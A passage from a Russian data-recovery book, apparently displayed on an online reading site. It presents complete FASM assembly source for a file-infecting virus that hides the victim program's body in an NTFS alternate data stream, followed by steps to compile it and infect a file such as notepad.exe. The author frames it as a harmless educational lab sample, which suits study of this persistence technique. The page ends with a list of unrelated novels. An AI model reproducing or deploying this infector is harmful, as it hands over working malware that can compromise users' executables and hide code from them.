Чтение онлайн

на главную - закладки

Жанры

Восстановление данных. Практическое руководство
Шрифт:

; Удаляем временный файл

push foo

call [DeleteFile]

; Определяем наше имя

push 1000

push buf

push 0

call [GetModuleFileName]

; Считываем командную строку

; Ключ filename - заразить

call [GetCommandLine]

mov ebp, eax

xor ebx, ebx

mov ecx, 202A2D2Dh ;

rool:

cmp [eax], ecx ;
это '--*'?

jz infect

inc eax

cmp [eax], ebx ; Конец командной строки?

jnz rool

; Выводим диагностическое сообщение,

; подтверждая свое присутствие в файле

push 0

push aInfected

push aHello

push 0

call [MessageBox]

; Добавляем к своему имени имя потока NTFS

mov esi, code_name

mov edi, buf

mov ecx, 100; сode_name_end - code_name

xor eax,eax

repne scasb

dec edi

rep movsb

; Запускаем поток NTFS на выполнение

push xxx

push xxx

push eax

push eax

push eax

push eax

push eax

push eax

push ebp

push buf

call [CreateProcess]

jmp go2exit ; Выходим из вируса

infect:

; Устанавливаем eax на первый символ имени файла-жертвы

; (далее по тексту dst)

add eax, 4

xchg eax, ebp

xor eax,eax

inc eax

; Здесь можно вставить проверку dst на заражение

; Переименовываем dst в foo

push foo

push ebp

call [RenameFile]

; Копируем в foo основной поток dst

push eax

push ebp

push buf

call [CopyFile]

; Добавляем к своему имени имя потока NTFS

mov esi, ebp

mov edi, buf

copy_rool:

lodsb

stosb

test al,al

jnz copy_rool

mov esi, code_name

dec edi

copy_rool2:

lodsb

stosb

test al,al

jnz copy_rool2

;
Копируем foo в dst:bar

push eax

push buf

push foo

call [CopyFile]

; Здесь не помешает добавить коррекцию длины заражаемого файла

; Удаляем foo

push foo

call [DeleteFile]

; Выводим диагностическое сообщение,

; подтверждающее успешность заражения файла

push 0

push aInfected

push ebp

push 0

call [MessageBox]

; Выход из вируса

go2exit:

push 0

call [ExitProcess]

section '.data' data readable writeable

foo db "foo",0 ; Имя временного файла

code_name db ":bar",0 ; Имя потока, в котором будет...

code_name_end: ; ...сохранено основное тело

; Различные текстовые строки, выводимые вирусом

aInfected db "infected",0

aHello db "Hello, you are hacked"

; Различные буфера для служебных целей

buf rb 1000

xxx rb 1000

Компиляция и тестирование вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду:

fasm.exe xcode.asm
. Если все сделано правильно, на диске должен появиться файл
xcode.exe
. Запустим его на выполнение с опцией командной строки
– -*
, за которой следует имя файла, который требуется заразить, например, notepad.exe (
xcode.exe --* notepad.exe
). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Поделиться:
Популярные книги

Законы Рода. Том 10

Андрей Мельник
10. Граф Берестьев
Фантастика:
юмористическая фантастика
аниме
фэнтези
5.00
рейтинг книги
Законы Рода. Том 10

Соль этого лета

Рам Янка
1. Самбисты
Любовные романы:
современные любовные романы
6.00
рейтинг книги
Соль этого лета

Доверься мне

Кажанова Юлия
Любовные романы:
любовно-фантастические романы
эро литература
5.00
рейтинг книги
Доверься мне

Зауряд-врач

Дроздов Анатолий Федорович
1. Зауряд-врач
Фантастика:
альтернативная история
8.64
рейтинг книги
Зауряд-врач

Идеальный мир для Лекаря 29

Сапфир Олег
29. Лекарь
Фантастика:
юмористическое фэнтези
аниме
фэнтези
5.00
рейтинг книги
Идеальный мир для Лекаря 29

В погоне за женой, или Как укротить попаданку

Орлова Алёна
Фантастика:
фэнтези
6.62
рейтинг книги
В погоне за женой, или Как укротить попаданку

Плохой парень, Купидон и я

Уильямс Хасти
Любовные романы:
современные любовные романы
5.00
рейтинг книги
Плохой парень, Купидон и я

Достигая Вершин

ZerKo
1. Достигая Вершин
Фантастика:
фэнтези
5.00
рейтинг книги
Достигая Вершин

Охота на попаданку. Бракованная жена

Герр Ольга
Любовные романы:
любовно-фантастические романы
5.60
рейтинг книги
Охота на попаданку. Бракованная жена

Идеальный мир для Лекаря 12

Сапфир Олег
12. Лекарь
Фантастика:
боевая фантастика
юмористическая фантастика
аниме
5.00
рейтинг книги
Идеальный мир для Лекаря 12

Лейтенант космического флота

Борчанинов Геннадий
1. Звезды на погонах
Фантастика:
боевая фантастика
космическая фантастика
космоопера
рпг
фэнтези
фантастика: прочее
5.00
рейтинг книги
Лейтенант космического флота

Громовая поступь. Трилогия

Мазуров Дмитрий
Громовая поступь
Фантастика:
фэнтези
рпг
4.50
рейтинг книги
Громовая поступь. Трилогия

Часовое имя

Щерба Наталья Васильевна
4. Часодеи
Детские:
детская фантастика
9.56
рейтинг книги
Часовое имя

Командир Красной Армии

Поселягин Владимир Геннадьевич
1. Командир Красной Армии
Фантастика:
попаданцы
8.72
рейтинг книги
Командир Красной Армии